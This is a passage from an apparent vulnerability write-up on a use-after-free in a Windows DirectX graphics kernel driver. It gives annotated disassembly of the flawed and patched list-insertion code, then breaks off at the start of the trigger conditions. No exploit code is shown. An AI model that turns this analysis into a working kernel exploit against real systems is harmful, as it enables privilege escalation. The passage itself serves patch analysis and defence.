&lt;span class="mh"&gt;0x1c0021184&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="vm"&gt;??&lt;/span&gt;&lt;span class="n"&gt;_G_VIDSCH_SYNC_POINT&lt;/span&gt;&lt;span class="err"&gt;@@&lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_VIDSCH_SYNC_POINT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dtor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1c0029df0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;frees&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;NO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unlink&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0021189&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C0000017h&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INSUFFICIENT_RESOURCES&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c0029df0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_VIDSCH_SYNC_POINT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scalar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deleting&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;destructor&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0029dfd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;.0&lt;/span&gt;&lt;span class="nl"&gt;x1c0029e14&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+0x48&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;embedded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0029e29&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;.0&lt;/span&gt;&lt;span class="nl"&gt;x1c0029e40&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+0x18&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;embedded&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0029e58&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NODE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;No&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RemoveEntryList&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;anywhere&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched Sequence (The Fix)&lt;/h3&gt;
&lt;p&gt;The feature gate at &lt;code&gt;0x1c000f9f2&lt;/code&gt; skips the early insertion when the feature is enabled; the sub-arrays are allocated, and the insertion is performed at &lt;code&gt;0x1c000fb20&lt;/code&gt;, strictly after both allocation checks pass.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NODE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ALLOCATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000f99d&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xA8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Viaf&amp;#39;&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000f9d2&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+10h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg3&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FEATURE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;#1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;early&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;insertion&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000f9f2&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_1859884346__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000f9f7&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000f9f9&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c000fa16&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;enabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jump&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allocation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;NOT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;link&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000fa08&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;disabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;only&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;link&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;alloc&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000fa0f&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ALLOCATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SUB&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ARRAYS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000fa43&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Via5&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000fab1&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Via5&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;CHECK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;BOTH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ALLOCATIONS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SUCCEEDED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000faf8&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;P_alloc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000fafb&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c000fe67&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000fb01&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;P_range&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000fb04&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c000fe67&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FEATURE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;#2&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;insert&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allocs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;succeed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000fb0a&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_1859884346__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000fb11&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c000fb2e&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;disabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;already&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;linked&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000fb20&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flink&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000fb27&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LINK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;INTO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LIST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;safe&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000fb2a&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi+8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CLEANUP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;allocation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000fe67&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_1859884346__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000fe70&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;.0&lt;/span&gt;&lt;span class="nl"&gt;x1c000fe97&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;disabled&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;arrays&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000fe9f&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c0029e60&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_VIDSCH_SYNC_POINT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dtor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;never&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;linked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;To reach the UAF an attacker must force a sub-array allocation failure during scheduler command submission:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Obtain a Handle:&lt;/strong&gt; Open a DirectX graphics adapter device handle from a user-mode process (e.g. via &lt;code&gt;D3DKMTOpenAdapter&lt;/code&gt;).&lt;/li&gt;
